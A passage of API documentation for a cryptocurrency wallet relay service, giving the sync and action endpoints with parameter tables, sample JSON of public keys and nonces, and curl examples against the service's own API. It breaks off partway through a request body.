{% endtabs %}

**Response**

| Parameter        | Description                          |
| ---------------- | ------------------------------------ |
| chain            | chain where the id is associated     |
| walletIdentity   | id being used to identify the wallet |
| keyXpub          | xpub key of the wallet               |
| wkIdentity       | wallet key value                     |
| publicNonces     | public nonces value                  |
| generatedAddress | address associated with the wallet   |

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "walletIdentity": "1Kys4uBjfqcb3DrtkAs8Gc8YXEmDmeFESd",
    "chain": "btc",
    "generatedAddress": "bc1qa4w830n2c4v0j0usehg38xlr58xltxml3cyphrgz0kp4292yw7aqrsqhcr",
    "keyXpub": "Zpub75iXLooqV4JZNAC68gK6kAdNmAdY2wMMUeGxv9rZHHnWhU91EccH6r45CmYUnADR51p4H3aFkWLicnV5wj69GipUgA5eNM8RnYAtNpAxWb5",
    "publicNonces": [
        {
            "kPublic": "027fa9f9c1e8cbd77799d39be7e06ea55dbe793fd1b74857e3a83e7de866e07027",
            "kTwoPublic": "037b87c588195c9883ca18b9e5c8acb156bf9ff4193dc6db381361e2ca2c386046"
        },
        {
            "kPublic": "03d1c7179c86752f6f0c24d726c43e42ef902461fb1ad805ffe06cae5a8ac05814",
            "kTwoPublic": "02ab3045c751591bb7ec2a236d9e42794f1692788f0f11f97164e3b02e75fd8d0d"
        },
        {
            "kPublic": "02c512ddf6fd8f5927adabb2c9ca38c22c6355bec6e27d5a3e01ca608eb4e40ce0",
            "kTwoPublic": "026b831445a028ac460fed5fb3579562c69ebdf9465414ec7ba7eb0a2bb8471840"
        },
        {
            "kPublic": "03c764f7c7f10e9935da59824954dcb1cd3870bfd7dd6b46b27e9b9b75fb51df90",
            "kTwoPublic": "03b5f5a9cd2cdfe7ea3621dc6b02fedb7a04093f9b32bf006577d6395360b583b9"
        },
        {
            "kPublic": "02ba82c7f0dec94fe54e47bd384554729a6a817d2ff875bfc11ff72e174453ca3b",
            "kTwoPublic": "034b84869ab98addafcb29bd0463741c03dcdf361d356bba3bf7bf8e666cbe6b54"
        },
        {
            "kPublic": "026fe4afabaae005ce1c9ba58b19b4a7e9f6934334bdecd5e10897a05b3015b569",
            "kTwoPublic": "020b6924a24966b27bdec49272dca1af5209387d9466f419c4ff57d63c1f6e23b2"
        },
        {
            "kPublic": "036ac536fdbfbdd3ab4b53b7fdbfb887e548f97fdeeeb68e8babe4fa44eef7a13f",
            "kTwoPublic": "02702b3d406b5eefc0183e7d2c734676595ff87f36c3abf41e23d30d9ce0c77f01"
        },
        {
            "kPublic": "0297c648c8aef9162bcb381e4e6fb3c80747d48965b974635923d36724fe52f77e",
            "kTwoPublic": "0227696fa75d105be1b799becdb55cdb94cd29f8b39a7f7fcd15a69a5fe6b28874"
        },
        {
            "kPublic": "022a4ab9d2c942784eb9fd0b57d367a55296b96ebb5c03d5da86aad5c18258e9f0",
            "kTwoPublic": "020f11d46c8ebb0a16e7af8b42b6f8ffa728e900f6f15e5d1f1ec5eb0ffb77ab7f"
        },
        {
            "kPublic": "034448b2a43053b493a6ede09adda28c5036e4c5b5cfd493dda1567fc8b2a0676f",
            "kTwoPublic": "02ff4f296aa4108ed317bd67c12c41a0a1cea8ca1477e8c93b0dfdbefb9c849668"
        },
        {
            "kPublic": "03eb6487f0984c629c4de0cec57b4cbfdfc7d411a068a47906984a9d71d2e3d0ca",
            "kTwoPublic": "03da21ac3cc833d7e5ad38b016f020455cf9ec09119f26d7be7fdcc122399ca841"
        },
        {
            "kPublic": "032ee70475b5a6e082fe0765eaed566e35f5f2169e7a9483bd6a82b0da7291a442",
            "kTwoPublic": "03133fa2a3731c2d1ffb3a51ce68405fa7059da0da8b9130a6c92ee7a443a20c99"
        },
        {
            "kPublic": "03145d07decc92e8119f2e6853e0ec09adb3f0b85e40aecc77e9e66d0a5ae92169",
            "kTwoPublic": "025791e4d08f500c3c468a4603e4409c45f4c4be5ffd84d859ec9798f38496d25c"
        },
        {
            "kPublic": "0331cc678b16484f6d4597e21b2b5a92501ae1691068abef9fb2e390c5b4aefa07",
            "kTwoPublic": "03c13c2eb0d7be04532913d758fb560348d5dc14e009d5b380d7e6a2194e288e2f"
        },
        {
            "kPublic": "02c35f88926be156aa7178061e6103925cd7b11796557d19a53e92bd9f667c195f",
            "kTwoPublic": "0353a213b38556ee95eb6fc72b137660c392b07e42f8cd802d626556d763d7313e"
        },
        {
            "kPublic": "03f38bd700f7c0a833d328d7adf33ea1c33752d95fc3794bbe3110f5ebb4cd7a14",
            "kTwoPublic": "03c7768aa2901b046bbee907691de2bf36ee9423d6410f84788027591e1d8f4edf"
        },
        {
            "kPublic": "02a9758e0d8741e1732e9c123e8c67634bfef7e52c9edd8befffd4e456707d1836",
            "kTwoPublic": "021d5022d12a5a20318ddad8827af1c6e2308c4710600fad63b85b2021224d35ea"
        },
        {
            "kPublic": "02bffebd506b888c62ade28245d9ebb3c8353d48baf749067f37973770a15888e3",
            "kTwoPublic": "02ca23f34e0443565c3c91627b30a0e4fdb3c99d3477efea354f47a22e6900ee75"
        },
        {
            "kPublic": "031d1963e434ce049e0c82199103b0ee5cf1f6f04437dac33956041d04e73446af",
            "kTwoPublic": "032fad849c38b555883c341ea1b0362f5135a75944bd0a15529825b0b8457988d6"
        },
        {
            "kPublic": "039193ee2267106322acb712950700db43850be7fc3c297ce5d51033d3d1da72f5",
            "kTwoPublic": "0317da113a69377ae1807050becb80325e71146c9133a32820bdf56cb7b64ba5ab"
        },
        {
            "kPublic": "032f085acb7109ef7a772d96367cf34ffda6e485aaced64cffc19cca57455472f8",
            "kTwoPublic": "02b2eb3c82361fee262f61a887d900daaa0fa03b369e14551a972c7db0efab5149"
        },
        {
            "kPublic": "03e08233a625f1086836d4274398a16b471e187cea3d3eb841b3f8e777e6f385b1",
            "kTwoPublic": "02aa9322e7b4f8bbb0aa6e7527b07761aff79b6c7e9b471ba64d49e1e2d0cfb1ad"
        },
        {
            "kPublic": "03a6801c45aa35be7dbf630fbb16d4150433320ada2af73016b821a22a3ffdf351",
            "kTwoPublic": "03331f7260f679b90f63211b46b7938322a37cc6897020a03802a9f4b976fb71bf"
        },
        {
            "kPublic": "032b01f558f808cc6b59f5048b1ab9fa91889e9e5d01c17cd24cfa679784e9bc18",
            "kTwoPublic": "029de37a609ba223ade79eae7422571f73305e739f6c3895dfefa5d1bb10addd38"
        },
        {
            "kPublic": "03ebf9f9cd36f591a3dc6875ae673ef9731610326d72f9b9286cc43c45ab24293e",
            "kTwoPublic": "0245400480b22a156194399db6a367068df8e56c7f0033dec53618b9fd2ca94796"
        },
        {
            "kPublic": "03eaa11310bb09f65abf897ed2fc73d3b4f66e3f7b807ef3d73cbe0f54ce686c7a",
            "kTwoPublic": "031c151da1e78ba5620020a73f5b1dd9311a00b95d9c8ef7950ffe4199008c26f3"
        },
        {
            "kPublic": "03165c9d432229b2dcfd580d618f210daf2e7ef44dda087788edcb2e378a7b89e3",
            "kTwoPublic": "03c8a5e37e3488b00282d2b13caff7f91e0915d076cce1e2f0d2d8a03b91ff6dde"
        },
        {
            "kPublic": "02f7a04407cad6860e8d1f804a38f0da380f84be806ff415fedb9c533656ca9207",
            "kTwoPublic": "02c80dde44469e9c794ec5708edb6d05262d62dec906be8a0d146adc3ba4e05448"
        },
        {
            "kPublic": "03f4d043c18c1f1842074f9859d82e0000d3f2d7bdc1f75a2a3e185950be945659",
            "kTwoPublic": "02185c61b039a55c8a56aca5e25bd2cc8e3f3761042da9ce245aeab5d4e45b1020"
        },
        {
            "kPublic": "02bf52bec05bc3b344905410e7ac230d19ceabd49ec9e793c18db6d8d51d8c922b",
            "kTwoPublic": "0331952f8b5feecae6543b514cb1929e55f477463dbaf3e90cac695e481dcbf3e0"
        },
        {
            "kPublic": "02f2d5bfdfd231a8c82f391e7cb975572de8cfdfcef8028affa7843225656ea6ac",
            "kTwoPublic": "0283e0356a437f6218f865a409632737364d1fa7eef1b391d83ba09713ad39748e"
        },
        {
            "kPublic": "0209b403e2f7e3565d09dd32aa7ba389456839b28bfcaa1d93aa3f6b52b509339e",
            "kTwoPublic": "02966078a7e3bf88af05cec889268dbb4510d63193bc4db8cfc516a3dd3e77577a"
        },
        {
            "kPublic": "025c4aa8a7b1e88a10a0983df1269cf9908b0bc15a3b1d32e4888eeb057c7e01a9",
            "kTwoPublic": "02d8e80845d57e340bd6ed1eb3b9192878cc220b6e4c60e2ee36ded22a36bdbbbc"
        },
        {
            "kPublic": "02022b9806d8f952225a48a2de4ceedbe4a1d2b4b57448153d9c564e1a30251f6a",
            "kTwoPublic": "02007a93caec5a514dce9b14b9f26774e2c790af398cd4561e0790a200c005db10"
        },
        {
            "kPublic": "02702968776d33e53adb722a41291b166984f3fd65c5e0335f75d8c98f13289ad3",
            "kTwoPublic": "02658ce5fa3c905a953490e8c2ef567343525446c8c60e4d115ac07ff867b248d6"
        },
        {
            "kPublic": "0364f0fb53a5dcd03bb4110a5d80bfbb5c7b853bcdb31a3fb49cc8b8dbc658795a",
            "kTwoPublic": "03bfbb44069fc3e55b304488869927a6b76d7db9fc58ac9094039f50e49b679962"
        },
        {
            "kPublic": "0343dc67ce850f932c5cbddb6dafa42899fc89a87c130f66397807cf7181a01b9c",
            "kTwoPublic": "02470145d4b50c477a06e5b06baa5f58f5b006dfd68c98923828db485261ef1132"
        },
        {
            "kPublic": "02ee9d8e52ad05461fad7045d58d93af849ab9fe7847bbc2bc22384e896697f871",
            "kTwoPublic": "02a11c7d1d624b18d2e24afdd6303f984a0f0208a294dc93d8bbda66f72c03b88c"
        },
        {
            "kPublic": "0266d99ff948390ce7bf789a4813848af0e96ce81a6342f7048bcf0bea1fbf6e07",
            "kTwoPublic": "02a960aa9509f41792620991791b91510bf3585ecbd644c3bd5cad8abebfbda4f7"
        },
        {
            "kPublic": "0368cf0589d1cd438584eeb4e199be22badb53ee0ba2fc32847feab6925faa72d8",
            "kTwoPublic": "0284e5bfd42140ff67b049f2591cddda79cc4127d9169c36333955d6ce607ec261"
        },
        {
            "kPublic": "03e5e0a75e10bf73bf5ae2346cc877e64d768f1bddc37ff10ef9526976b8151754",
            "kTwoPublic": "02aa69c82633e6405a6b97c4a0f07a55b482e3b5f20981084173c618412c30b481"
        },
        {
            "kPublic": "039125bf3b2f669291a0501f1d5797deff6ce42a648d54f77e6254cadcbac733a1",
            "kTwoPublic": "031f88b05a910e76e11e26127e51ce6a5851fa96afd940c9692df1d142cdc84d36"
        },
        {
            "kPublic": "024c4a1cd29a98f3fca80547c6fa35dbaa890c01bc04133e52d6f4c9bffcaadbed",
            "kTwoPublic": "02c6a2d1ac562938540d635d42559da28d08f74364b9a45787131b1237137d94e0"
        },
        {
            "kPublic": "024f40609211ba54be8a3ef9a861f66596e05ed98eb7af274d1bdcbea93ea75990",
            "kTwoPublic": "02302b9ee73aca6272fce2266b7e82db12634b07bf98d296496a4b40e1ea20da4a"
        },
        {
            "kPublic": "039b459fb58a440c49eff2cda63f5e6b402ca227c5fbff47f9e7d51fa60db9cd49",
            "kTwoPublic": "020a4b4b7eeda8cadc1368c732c1e77c103bbfcab167baae9786c8f639ecadceaa"
        },
        {
            "kPublic": "026de0589b63bf76d2c839a18e1571ec6eac04fcb948ed6a183f595fc57e034341",
            "kTwoPublic": "034827d43d281de88f9b1e39b4ab0a62cd2efb04a7c70d132e5a40278d23397aea"
        },
        {
            "kPublic": "03d3a4b63963f50dd3811d4ae751b8e4c22a25c4f78088f43f04572439e15af15a",
            "kTwoPublic": "026f0ae313624e2d15fff828f9f1dd6ba2df0bf5920be2f23197eddfe3066bdf00"
        },
        {
            "kPublic": "0350a8a2b98550019b3d7cf7e100df0e33ed180219c4955ef2f22d16d6a4758d69",
            "kTwoPublic": "02c7f73398f4872d719be0871d3ce27169812eee95b473087924fd2c978747e444"
        },
        {
            "kPublic": "0322f6da4602fe7d7c91d5a5f3d8c3aaef86b5a639e3973757c44632ea6ff5f4fd",
            "kTwoPublic": "037d27c6a4b550f6ff782455cbff330eda7dabec884eaf7fd797f0c5cd6d4d0153"
        },
        {
            "kPublic": "02656322a5930ae49dbc3af9efa8388b5442cba79361ec0f06395897a1f237d7f8",
            "kTwoPublic": "03fa9406720f348421a1970919980ce4a23dca61db1d8fad8fe00f261ac4a60dba"
        }
    ],
    "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c"
}
```

{% endtab %}

{% tab title="404 - Sync Id does not exist" %}

```
Not Found
```

{% endtab %}

{% tab title="400 - Invalid Id" %}

```
Bad Request
```

{% endtab %}
{% endtabs %}


# GET /v1/action

Retrieve action data using id

<mark style="color:green;">`GET`</mark> **/v1/action/{id}**

**Path Params**

| Name | Value                    |
| ---- | ------------------------ |
| id   | action id to be retrieve |

**Request**

{% tabs %}
{% tab title="Curl" %}

<pre class="language-url"><code class="lang-url"><strong>curl --location 'https://relay.sspwallet.io/v1/action/bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c'
</strong></code></pre>

{% endtab %}
{% endtabs %}

**Response**

| Parameter  | Description                      |
| ---------- | -------------------------------- |
| chain      | chain where the id is associated |
| path       | path value                       |
| wkIdentity | wallet key value                 |
| action     | action value                     |
| payload    | payload value                    |
| utxos      | utxos values                     |
| expireAt   | expiration timestamp             |
| createdAt  | created timestamp                |

{% tabs %}
{% tab title="200 - Success" %}

```json
{
    "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
    "action": "txid",
    "chain": "flux",
    "createdAt": "2025-02-19T12:01:44.162Z",
    "expireAt": "2025-02-19T12:16:44.162Z",
    "path": "0-0",
    "payload": "df37d443a8685cc67c9d518eb85cde3010565e7fc2f28501c4eea6afb3533226",
    "utxos": [
        {
            "txid": "eb15346e498b27166ac46861a5ce887edbd4d29a4accc30033be109744b6f26b",
            "vout": 0,
            "scriptPubKey": "a9147a29650fb76a20926553c0ab0e60a509919d569887",
            "satoshis": "100000",
            "confirmations": 136996,
            "coinbase": false
        }
    ]
}
```

{% endtab %}

{% tab title="404 - Action Id does not exist" %}

```
Not Found
```

{% endtab %}

{% tab title="400 - Invalid Id" %}

```
Bad Request
```

{% endtab %}
{% endtabs %}


# POST /v1/sync

Sync using data specified in the request body

<mark style="color:green;">`POST`</mark> **/v1/sync**

**Headers**

| Name         | Value            |
| ------------ | ---------------- |
| Content-Type | application/json |

**Body**

| Parameter        | Description                          |
| ---------------- | ------------------------------------ |
| chain            | chain where the id is associated     |
| walletIdentity   | id being used to identify the wallet |
| keyXpub          | xpub key of the wallet               |
| wkIdentity       | wallet key value                     |
| publicNonces     | public nonces value                  |
| generatedAddress | address associated with the wallet   |

```javascript
{
    "chain": "btc",
    "walletIdentity": "1Kys4uBjfqcb3DrtkAs8Gc8YXEmDmeFESd",
    "keyXpub": "Zpub75iXLooqV4JZNAC68gK6kAdNmAdY2wMMUeGxv9rZHHnWhU91EccH6r45CmYUnADR51p4H3aFkWLicnV5wj69GipUgA5eNM8RnYAtNpAxWb5",
    "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c",
    "publicNonces": [
        {
            "kPublic": "027fa9f9c1e8cbd77799d39be7e06ea55dbe793fd1b74857e3a83e7de866e07027",
            "kTwoPublic": "037b87c588195c9883ca18b9e5c8acb156bf9ff4193dc6db381361e2ca2c386046"
        },
        {
            "kPublic": "03d1c7179c86752f6f0c24d726c43e42ef902461fb1ad805ffe06cae5a8ac05814",
            "kTwoPublic": "02ab3045c751591bb7ec2a236d9e42794f1692788f0f11f97164e3b02e75fd8d0d"
        },
        {
            "kPublic": "02c512ddf6fd8f5927adabb2c9ca38c22c6355bec6e27d5a3e01ca608eb4e40ce0",
            "kTwoPublic": "026b831445a028ac460fed5fb3579562c69ebdf9465414ec7ba7eb0a2bb8471840"
        },
        {
            "kPublic": "03c764f7c7f10e9935da59824954dcb1cd3870bfd7dd6b46b27e9b9b75fb51df90",
            "kTwoPublic": "03b5f5a9cd2cdfe7ea3621dc6b02fedb7a04093f9b32bf006577d6395360b583b9"
        },
        {
            "kPublic": "02ba82c7f0dec94fe54e47bd384554729a6a817d2ff875bfc11ff72e174453ca3b",
            "kTwoPublic": "034b84869ab98addafcb29bd0463741c03dcdf361d356bba3bf7bf8e666cbe6b54"
        },
        {
            "kPublic": "026fe4afabaae005ce1c9ba58b19b4a7e9f6934334bdecd5e10897a05b3015b569",
            "kTwoPublic": "020b6924a24966b27bdec49272dca1af5209387d9466f419c4ff57d63c1f6e23b2"
        },
        {
            "kPublic": "036ac536fdbfbdd3ab4b53b7fdbfb887e548f97fdeeeb68e8babe4fa44eef7a13f",
            "kTwoPublic": "02702b3d406b5eefc0183e7d2c734676595ff87f36c3abf41e23d30d9ce0c77f01"
        },
        {
            "kPublic": "0297c648c8aef9162bcb381e4e6fb3c80747d48965b974635923d36724fe52f77e",
            "kTwoPublic": "0227696fa75d105be1b799becdb55cdb94cd29f8b39a7f7fcd15a69a5fe6b28874"
        },
        {
            "kPublic": "022a4ab9d2c942784eb9fd0b57d367a55296b96ebb5c03d5da86aad5c18258e9f0",
            "kTwoPublic": "020f11d46c8ebb0a16e7af8b42b6f8ffa728e900f6f15e5d1f1ec5eb0ffb77ab7f"
        },
        {
            "kPublic": "034448b2a43053b493a6ede09adda28c5036e4c5b5cfd493dda1567fc8b2a0676f",
            "kTwoPublic": "02ff4f296aa4108ed317bd67c12c41a0a1cea8ca1477e8c93b0dfdbefb9c849668"
        },
        {
            "kPublic": "03eb6487f0984c629c4de0cec57b4cbfdfc7d411a068a47906984a9d71d2e3d0ca",
            "kTwoPublic": "03da21ac3cc833d7e5ad38b016f020455cf9ec09119f26d7be7fdcc122399ca841"
        },
        {
            "kPublic": "032ee70475b5a6e082fe0765eaed566e35f5f2169e7a9483bd6a82b0da7291a442",
            "kTwoPublic": "03133fa2a3731c2d1ffb3a51ce68405fa7059da0da8b9130a6c92ee7a443a20c99"
        },
        {
            "kPublic": "03145d07decc92e8119f2e6853e0ec09adb3f0b85e40aecc77e9e66d0a5ae92169",
            "kTwoPublic": "025791e4d08f500c3c468a4603e4409c45f4c4be5ffd84d859ec9798f38496d25c"
        },
        {
            "kPublic": "0331cc678b16484f6d4597e21b2b5a92501ae1691068abef9fb2e390c5b4aefa07",
            "kTwoPublic": "03c13c2eb0d7be04532913d758fb560348d5dc14e009d5b380d7e6a2194e288e2f"
        },
        {
            "kPublic": "02c35f88926be156aa7178061e6103925cd7b11796557d19a53e92bd9f667c195f",
            "kTwoPublic": "0353a213b38556ee95eb6fc72b137660c392b07e42f8cd802d626556d763d7313e"
        },
        {
            "kPublic": "03f38bd700f7c0a833d328d7adf33ea1c33752d95fc3794bbe3110f5ebb4cd7a14",
            "kTwoPublic": "03c7768aa2901b046bbee907691de2bf36ee9423d6410f84788027591e1d8f4edf"
        },
        {
            "kPublic": "02a9758e0d8741e1732e9c123e8c67634bfef7e52c9edd8befffd4e456707d1836",
            "kTwoPublic": "021d5022d12a5a20318ddad8827af1c6e2308c4710600fad63b85b2021224d35ea"
        },
        {
            "kPublic": "02bffebd506b888c62ade28245d9ebb3c8353d48baf749067f37973770a15888e3",
            "kTwoPublic": "02ca23f34e0443565c3c91627b30a0e4fdb3c99d3477efea354f47a22e6900ee75"
        },
        {
            "kPublic": "031d1963e434ce049e0c82199103b0ee5cf1f6f04437dac33956041d04e73446af",
            "kTwoPublic": "032fad849c38b555883c341ea1b0362f5135a75944bd0a15529825b0b8457988d6"
        },
        {
            "kPublic": "039193ee2267106322acb712950700db43850be7fc3c297ce5d51033d3d1da72f5",
            "kTwoPublic": "0317da113a69377ae1807050becb80325e71146c9133a32820bdf56cb7b64ba5ab"
        },
        {
            "kPublic": "032f085acb7109ef7a772d96367cf34ffda6e485aaced64cffc19cca57455472f8",
            "kTwoPublic": "02b2eb3c82361fee262f61a887d900daaa0fa03b369e14551a972c7db0efab5149"
        },
        {
            "kPublic": "03e08233a625f1086836d4274398a16b471e187cea3d3eb841b3f8e777e6f385b1",
            "kTwoPublic": "02aa9322e7b4f8bbb0aa6e7527b07761aff79b6c7e9b471ba64d49e1e2d0cfb1ad"
        },
        {
            "kPublic": "03a6801c45aa35be7dbf630fbb16d4150433320ada2af73016b821a22a3ffdf351",
            "kTwoPublic": "03331f7260f679b90f63211b46b7938322a37cc6897020a03802a9f4b976fb71bf"
        },
        {
            "kPublic": "032b01f558f808cc6b59f5048b1ab9fa91889e9e5d01c17cd24cfa679784e9bc18",
            "kTwoPublic": "029de37a609ba223ade79eae7422571f73305e739f6c3895dfefa5d1bb10addd38"
        },
        {
            "kPublic": "03ebf9f9cd36f591a3dc6875ae673ef9731610326d72f9b9286cc43c45ab24293e",
            "kTwoPublic": "0245400480b22a156194399db6a367068df8e56c7f0033dec53618b9fd2ca94796"
        },
        {
            "kPublic": "03eaa11310bb09f65abf897ed2fc73d3b4f66e3f7b807ef3d73cbe0f54ce686c7a",
            "kTwoPublic": "031c151da1e78ba5620020a73f5b1dd9311a00b95d9c8ef7950ffe4199008c26f3"
        },
        {
            "kPublic": "03165c9d432229b2dcfd580d618f210daf2e7ef44dda087788edcb2e378a7b89e3",
            "kTwoPublic": "03c8a5e37e3488b00282d2b13caff7f91e0915d076cce1e2f0d2d8a03b91ff6dde"
        },
        {
            "kPublic": "02f7a04407cad6860e8d1f804a38f0da380f84be806ff415fedb9c533656ca9207",
            "kTwoPublic": "02c80dde44469e9c794ec5708edb6d05262d62dec906be8a0d146adc3ba4e05448"
        },
        {
            "kPublic": "03f4d043c18c1f1842074f9859d82e0000d3f2d7bdc1f75a2a3e185950be945659",
            "kTwoPublic": "02185c61b039a55c8a56aca5e25bd2cc8e3f3761042da9ce245aeab5d4e45b1020"
        },
        {
            "kPublic": "02bf52bec05bc3b344905410e7ac230d19ceabd49ec9e793c18db6d8d51d8c922b",
            "kTwoPublic": "0331952f8b5feecae6543b514cb1929e55f477463dbaf3e90cac695e481dcbf3e0"
        },
        {
            "kPublic": "02f2d5bfdfd231a8c82f391e7cb975572de8cfdfcef8028affa7843225656ea6ac",
            "kTwoPublic": "0283e0356a437f6218f865a409632737364d1fa7eef1b391d83ba09713ad39748e"
        },
        {
            "kPublic": "0209b403e2f7e3565d09dd32aa7ba389456839b28bfcaa1d93aa3f6b52b509339e",
            "kTwoPublic": "02966078a7e3bf88af05cec889268dbb4510d63193bc4db8cfc516a3dd3e77577a"
        },
        {
            "kPublic": "025c4aa8a7b1e88a10a0983df1269cf9908b0bc15a3b1d32e4888eeb057c7e01a9",
            "kTwoPublic": "02d8e80845d57e340bd6ed1eb3b9192878cc220b6e4c60e2ee36ded22a36bdbbbc"
        },
        {
            "kPublic": "02022b9806d8f952225a48a2de4ceedbe4a1d2b4b57448153d9c564e1a30251f6a",
            "kTwoPublic": "02007a93caec5a514dce9b14b9f26774e2c790af398cd4561e0790a200c005db10"
        },
        {
            "kPublic": "02702968776d33e53adb722a41291b166984f3fd65c5e0335f75d8c98f13289ad3",
            "kTwoPublic": "02658ce5fa3c905a953490e8c2ef567343525446c8c60e4d115ac07ff867b248d6"
        },
        {
            "kPublic": "0364f0fb53a5dcd03bb4110a5d80bfbb5c7b853bcdb31a3fb49cc8b8dbc658795a",
            "kTwoPublic": "03bfbb44069fc3e55b304488869927a6b76d7db9fc58ac9094039f50e49b679962"
        },
        {
            "kPublic": "0343dc67ce850f932c5cbddb6dafa42899fc89a87c130f66397807cf7181a01b9c",
            "kTwoPublic": "02470145d4b50c477a06e5b06baa5f58f5b006dfd68c98923828db485261ef1132"
        },
        {
            "kPublic": "02ee9d8e52ad05461fad7045d58d93af849ab9fe7847bbc2bc22384e896697f871",
            "kTwoPublic": "02a11c7d1d624b18d2e24afdd6303f984a0f0208a294dc93d8bbda66f72c03b88c"
        },
        {
            "kPublic": "0266d99ff948390ce7bf789a4813848af0e96ce81a6342f7048bcf0bea1fbf6e07",
            "kTwoPublic": "02a960aa9509f41792620991791b91510bf3585ecbd644c3bd5cad8abebfbda4f7"
        },
        {
            "kPublic": "0368cf0589d1cd438584eeb4e199be22badb53ee0ba2fc32847feab6925faa72d8",
            "kTwoPublic": "0284e5bfd42140ff67b049f2591cddda79cc4127d9169c36333955d6ce607ec261"
        },
        {
            "kPublic": "03e5e0a75e10bf73bf5ae2346cc877e64d768f1bddc37ff10ef9526976b8151754",
            "kTwoPublic": "02aa69c82633e6405a6b97c4a0f07a55b482e3b5f20981084173c618412c30b481"
        },
        {
            "kPublic": "039125bf3b2f669291a0501f1d5797deff6ce42a648d54f77e6254cadcbac733a1",
            "kTwoPublic": "031f88b05a910e76e11e26127e51ce6a5851fa96afd940c9692df1d142cdc84d36"
        },
        {
            "kPublic": "024c4a1cd29a98f3fca80547c6fa35dbaa890c01bc04133e52d6f4c9bffcaadbed",
            "kTwoPublic": "02c6a2d1ac562938540d635d42559da28d08f74364b9a45787131b1237137d94e0"
        },
        {
            "kPublic": "024f40609211ba54be8a3ef9a861f66596e05ed98eb7af274d1bdcbea93ea75990",
            "kTwoPublic": "02302b9ee73aca6272fce2266b7e82db12634b07bf98d296496a4b40e1ea20da4a"
        },
        {
            "kPublic": "039b459fb58a440c49eff2cda63f5e6b402ca227c5fbff47f9e7d51fa60db9cd49",
            "kTwoPublic": "020a4b4b7eeda8cadc1368c732c1e77c103bbfcab167baae9786c8f639ecadceaa"
        },
        {
            "kPublic": "026de0589b63bf76d2c839a18e1571ec6eac04fcb948ed6a183f595fc57e034341",
            "kTwoPublic": "034827d43d281de88f9b1e39b4ab0a62cd2efb04a7c70d132e5a40278d23397aea"
        },
        {
            "kPublic": "03d3a4b63963f50dd3811d4ae751b8e4c22a25c4f78088f43f04572439e15af15a",
            "kTwoPublic": "026f0ae313624e2d15fff828f9f1dd6ba2df0bf5920be2f23197eddfe3066bdf00"
        },
        {
            "kPublic": "0350a8a2b98550019b3d7cf7e100df0e33ed180219c4955ef2f22d16d6a4758d69",
            "kTwoPublic": "02c7f73398f4872d719be0871d3ce27169812eee95b473087924fd2c978747e444"
        },
        {
            "kPublic": "0322f6da4602fe7d7c91d5a5f3d8c3aaef86b5a639e3973757c44632ea6ff5f4fd",
            "kTwoPublic": "037d27c6a4b550f6ff782455cbff330eda7dabec884eaf7fd797f0c5cd6d4d0153"
        },
        {
            "kPublic": "02656322a5930ae49dbc3af9efa8388b5442cba79361ec0f06395897a1f237d7f8",
            "kTwoPublic": "03fa9406720f348421a1970919980ce4a23dca61db1d8fad8fe00f261ac4a60dba"
        }
    ],
    "generatedAddress": "bc1qa4w830n2c4v0j0usehg38xlr58xltxml3cyphrgz0kp4292yw7aqrsqhcr" 
}
```

**Request**

{% tabs %}
{% tab title="Curl" %}

```url
curl --location 'https://relay.sspwallet.io/v1/sync' \
--header 'Content-Type: application/json' \
--data '{
    "chain": "btc", 
    "walletIdentity": "1Kys4uBjfqcb3DrtkAs8Gc8YXEmDmeFESd", 
    "keyXpub": "Zpub75iXLooqV4JZNAC68gK6kAdNmAdY2wMMUeGxv9rZHHnWhU91EccH6r45CmYUnADR51p4H3aFkWLicnV5wj69GipUgA5eNM8RnYAtNpAxWb5", 
    "wkIdentity": "bc1q4q6nhujzlpll9e2mkjlqddmdfyvh4a89vqatsk0ju8jwt2vghf9sykaw0c", 
    "publicNonces": [
        {
            "kPublic": "027fa9f9c1e8cbd77799d39be7e06ea55dbe793fd1b74857e3a83e7de866e07027",
            "kTwoPublic": "037b87c588195c9883ca18b9e5c8acb156bf9ff4193dc6db381361e2ca2c386046"
        },
        {
            "kPublic": "03d1c7179c86752f6f0c24d726c43e42ef902461fb1ad805ffe06cae5a8ac05814",
            "kTwoPublic": "02ab3045c751591bb7ec2a236d9e42794f1692788f0f11f97164e3b02e75fd8d0d"
        },
        {
            "kPublic": "02c512ddf6fd8f5927adabb2c9ca38c22c6355bec6e27d5a3e01ca608eb4e40ce0",
            "kTwoPublic": "026b831445a028ac460fed5fb3579562c69ebdf9465414ec7ba7eb0a2bb8471840"
        },
        {
            "kPublic": "03c764f7c7f10e9935da59824954dcb1cd3870bfd7dd6b46b27e9b9b75fb51df90",
            "kTwoPublic": "03b5f5a9cd2cdfe7ea3621dc6b02fedb7a04093f9b32bf006577d6395360b583b9"
        },
        {
            "kPublic": "02ba82c7f0dec94fe54e47bd384554729a6a817d2ff875bfc11ff72e174453ca3b",
            "kTwoPublic": "034b84869ab98addafcb29bd0463741c03dcdf361d356bba3bf7bf8e666cbe6b54"
        },
        {
            "kPublic": "026fe4afabaae005ce1c9ba58b19b4a7e9f6934334bdecd5e10897a05b3015b569",
            "kTwoPublic": "020b6924a24966b27bdec49272dca1af5209387d9466f419c4ff57d63c1f6e23b2"
        },
        {
            "kPublic": "036ac536fdbfbdd3ab4b53b7fdbfb887e548f97fdeeeb68e8babe4fa44eef7a13f",
            "kTwoPublic": "02702b3d406b5eefc0183e7d2c734676595ff87f36c3abf41e23d30d9ce0c77f01"
        },
        {
            "kPublic": "0297c648c8aef9162bcb381e4e6fb3c80747d48965b974635923d36724fe52f77e",
            "kTwoPublic": "0227696fa75d105be1b799becdb55cdb94cd29f8b39a7f7fcd15a69a5fe6b28874"
        },
        {
            "kPublic": "022a4ab9d2c942784eb9fd0b57d367a55296b96ebb5c03d5da86aad5c18258e9f0",
            "kTwoPublic": "020f11d46c8ebb0a16e7af8b42b6f8ffa728e900f6f15e5d1f1ec5eb0ffb77ab7f"
        },
        {
            "kPublic": "034448b2a43053b493a6ede09adda28c5036e4c5b5cfd493dda1567fc8b2a0676f",
            "kTwoPublic": "02ff4f296aa4108ed317bd67c12c41a0a1cea8ca1477e8c93b0dfdbefb9c849668"
        },
        {
